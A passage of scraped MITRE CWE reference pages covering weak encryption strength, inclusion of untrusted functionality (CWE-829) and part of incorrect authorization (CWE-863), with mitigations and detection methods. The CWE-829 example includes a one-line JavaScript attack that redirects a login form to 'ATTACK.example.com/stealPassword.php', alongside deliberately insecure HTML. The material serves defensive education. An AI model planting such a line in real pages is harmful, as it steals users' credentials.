Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
+ Extended Description
A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

An attacker may be able to decrypt the data using brute force attacks.
+ Potential Mitigations

Phase: Architecture and Design

Use an encryption scheme that is currently considered to be strong by experts in the field.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 328 Use of Weak Hash
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Observed Examples
Reference Description
Weak encryption
Weak encryption (chosen plaintext attack)
Weak encryption
Weak encryption produces same ciphertext from the same plaintext blocks.
Weak encryption
Weak encryption scheme
Weak encryption (XOR)
Weak encryption (reversible algorithm).
Weak encryption (one-to-one mapping).
Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps randomness).
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 719 OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 720 OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 729 OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 959 SFP Secondary Cluster: Weak Cryptography
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Weak Encryption
OWASP Top Ten 2007 A8 CWE More Specific Insecure Cryptographic Storage
OWASP Top Ten 2007 A9 CWE More Specific Insecure Communications
OWASP Top Ten 2004 A8 CWE More Specific Insecure Storage
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 21: Using the Wrong Cryptography." Page 315. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification Date Modifier Organization
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2009-03-10 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-07-08 CWE Content Team MITRE
Clarified entry to focus on algorithms that do not have major weaknesses, but may not be strong enough for some purposes.
2009-07-27 CWE Content Team MITRE
updated Common_Consequences, Description, Maintenance_Notes, Name
2009-10-29 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
updated References
2010-06-21 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Maintenance_Notes, Potential_Mitigations, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
+ Previous Entry Names
Change Date Previous Entry Name
2009-07-27 Weak Encryption

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID: 829
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
+ Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 827 Improper Control of Document Type Definition
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 830 Inclusion of Web Functionality from an Untrusted Source
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1214 Data Integrity Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1016 Limit Exposure
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Demonstrative Examples

Example 1

This login webpage includes a weather widget from an external website:

(bad code)
Example Language: HTML 
<div class="header"> Welcome!
<div id="loginBox">Please Login:
<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
<div id="WeatherWidget">
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

(attack code)
Example Language: JavaScript 

...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.


+ Observed Examples
Reference Description
Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
Modification of assumed-immutable variable in configuration script leads to file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP file inclusion.
PHP local file inclusion.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
PHP remote file include.
Directory traversal vulnerability in PHP include statement.
Directory traversal vulnerability in PHP include statement.
PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1354 OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1416 Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-11-29
(CWE 1.11, 2010-12-13)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-06-27 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2017-01-19 CWE Content Team MITRE
updated Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Type
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2021-03-15 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated References, Related_Attack_Patterns
2023-01-31 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE-863: Incorrect Authorization

Weakness ID: 863
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Diagram for CWE-863
+ Alternate Terms
AuthZ:
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker could bypass intended access restrictions to read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity

Technical Impact: Modify Application Data; Modify Files or Directories

An attacker could bypass intended access restrictions to modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

An attacker could bypass intended access restrictions to gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

An attacker could use elevated privileges to execute unauthorized commands or code.
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

An attacker could gain unauthorized access to resources on the system and excessively consume those resources, leading to a denial of service.
+ Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 551 Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 639 Authorization Bypass Through User-Controlled Key
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 647 Use of Non-Canonical URL Paths for Authorization Decisions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 804 Guessable CAPTCHA
